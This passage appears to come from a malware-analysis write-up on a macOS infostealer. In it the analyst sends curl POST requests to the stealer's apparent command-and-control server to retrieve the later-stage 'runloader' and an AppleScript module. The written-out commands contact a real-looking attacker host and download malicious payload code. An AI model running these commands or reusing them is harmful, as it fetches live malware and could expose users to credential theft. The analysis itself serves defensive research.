InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author: Moise Medici
Updated: 10 Sept 2026 · Completed
Difficulty: Easy
Platform: MacOS
Capabilities: Command and Control C2 Communication Command Execution via Powershell Cmd Bash Credential Theft Data-Exfiltration Dropping Secondary Payloads
Tags: bash AppleScript Essential macOS Stealer

Experimenting with Stage4

After analyzing the stage four, it is worth trying the cURLs in a safe environment, with fake data. The first request, worked and returned runloader.

1
$ curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https://d9mjs.sbs/' -d 'uuid=AAA1111A-1A11-11AA-A111-0A1A1A11AA11>&username=aldo&txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&task'
2
runloader

Because of that, the next call can be done with &smodule as data sent via POST. This worked and returned another applescript file that is saved as stage5_smodule.applescript.

1
$ curl --max-time 100 --retry 3 --retry-delay 2 -X POST 'https://d9mjs.sbs/' -d 'uuid=AAA1111A-1A11-11AA-A111-0A1A1A11AA11>&username=aldo&txid=7dc957c3cfcbf7bb79ff3b8f0f8288a9&smodule' > stage5_smodule.applescript
2
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
3
                                 Dload  Upload  Total   Spent   Left   Speed
4
100 195.0k   0 194.9k 100    102 509.6k    266                              0